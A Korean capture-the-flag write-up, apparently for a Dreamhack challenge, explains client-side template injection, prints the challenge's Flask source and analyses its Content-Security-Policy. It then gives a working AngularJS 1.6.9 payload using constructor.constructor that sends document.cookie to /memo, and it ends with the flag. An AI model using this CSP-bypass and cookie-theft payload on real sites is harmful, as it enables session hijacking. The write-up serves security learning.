클라이언트 사이드 템플릿 엔진이 사용자 입력을 신뢰하지 않고 처리할 때 발생하는 취약점이다.
입력값이 템플릿 문법으로 실행되어 악성 코드가 실행될 수 있다.
서버가 아니라 클라이언트(브라우저)에서 템플릿 엔진이 동작함
보통 {{ }}, ${ }, [[ ]] 같은 문법 사용
자바스크립트 코드 실행이 가능하여 쿠키 탈취, 세션 하이재킹, 리다이렉션 등이 가능
AngularJS, Vue.js(구버전), Handlebars, Mustache 등
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
nonce = os.urandom(16).hex()
return response
@app.route("/")
def index():
return render_template("index.html", nonce=nonce)
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)
app.run(host="0.0.0.0", port=8000)
위의 코드는 주어진 코드이다.
자주 보이는 형태로, /flag를 통해 vuln?param에 요청을 보내는데, 이 때 보내지는 요청은 /memo로 가도록하여 쿠키값을 /memo에서 확인하는 구조이다.
/memo에서 쿠키 값이 확인될 수 있도록 적절히 보안 설정을 우회해야 하며, 결정적으로 보내는 악성 코드가 실행코드로서 실행이 되도록 해야 한다.
default-src 'self'
모든 리소스(스크립트, 이미지, 스타일 등)의 기본 허용 출처를 현재 도메인(self) 으로 제한합니다.
즉, 현재 서버에서 제공하는 리소스만 기본적으로 허용.
img-src https://dreamhack.io
이미지 리소스는 기본 출처 외에도 https://dreamhack.io 도메인에서 불러오는 것까지 허용.
style-src 'self' 'unsafe-inline'
스타일시트(CSS)는 현재 도메인에서 불러오는 것과, 인라인 스타일(태그 내 style 속성 등)도 허용.
unsafe-inline은 보안상 위험할 수 있으나, 인라인 스타일 사용을 허용하는 옵션.
script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com
자바스크립트 로드는 다음 출처/방식만 허용:
'nonce-{nonce}': 서버에서 발급한 nonce(난수) 값을 가진
'unsafe-eval': eval(), new Function() 같은 자바스크립트 동적 코드 실행 함수 사용 허용 (보안상 취약점 여지 있음)
https://ajax.googleapis.com: 구글 CDN(ajax.googleapis.com)에서 제공하는 외부 스크립트 불러오기 허용 (예: AngularJS)
object-src 'none'
< object >, < embed >, < applet > 등 플러그인 관련 콘텐츠 로드를 전면 차단.
정리하자면 우리는 < script > 를 사용해야 한다. 이를 사용하기 위해서는 먼저 src가 https://ajax.googleapis.com 로 가야한다.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js">
angularjs는 https://ajax.googleapis.com 에서 제공하는 템플릿이다.
해당 템플릿을 사용하고, 이 템플릿의 함수를 사용하여 실행코드가 되도록 해야한다.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js"></script>
이제 angularjs가 템플릿으로 해석할 HTMl 태그를 붙혀서 내부 표현식을 평가하는 구조로 완성한다.
동작영역 역할을 붙혀주는 것이다.
<html ng-app>{{ constructor.constructor("location='/memo?memo='+document.cookie")() }}</html>
ng-app은 AngularJS의 애플리케이션 시작 지점을 알리는 특수 속성.
이 태그부터 AngularJS가 활성화되어 그 하위 요소 안의 템플릿 표현식을 평가.
중괄호 {{ }}는 AngularJS에서 데이터 바인딩 및 표현식 평가를 뜻함.
AngularJS는 중괄호 안에 들어있는 자바스크립트 표현식을 실행하고 결과를 HTML로 렌더링.
constructor는 자바스크립트 모든 객체가 가진 프로퍼티로, 그 객체의 생성자를 가리킴.
예를 들어, 일반 객체의 constructor는 Object 생성자 함수.
constructor.constructor는 결국 Function 생성자 함수에 접근하는 셈이다.
constructor.constructor === Function
"location='/memo?memo='+document.cookie" 문자열을 Function 생성자에 넣으면,
이 문자열이 실행 가능한 자바스크립트 함수 코드로 변환.
뒤의 ()는 이렇게 생성된 함수를 즉시 실행하라는 의미.
location='/memo?memo='+document.cookie" 코드를 동적으로 실행하여,
현재 페이지의 location을 변경하는데, URL을 /memo?memo= + 현재 브라우저의 쿠키(document.cookie)로 바꿈.
즉, 쿠키를 탈취하기 위해 공격자가 제어하는 /memo URL에 쿠키를 보내는 행위.


FLAG : DH{741b1b55cfdae94aaaad6c5f1618d167}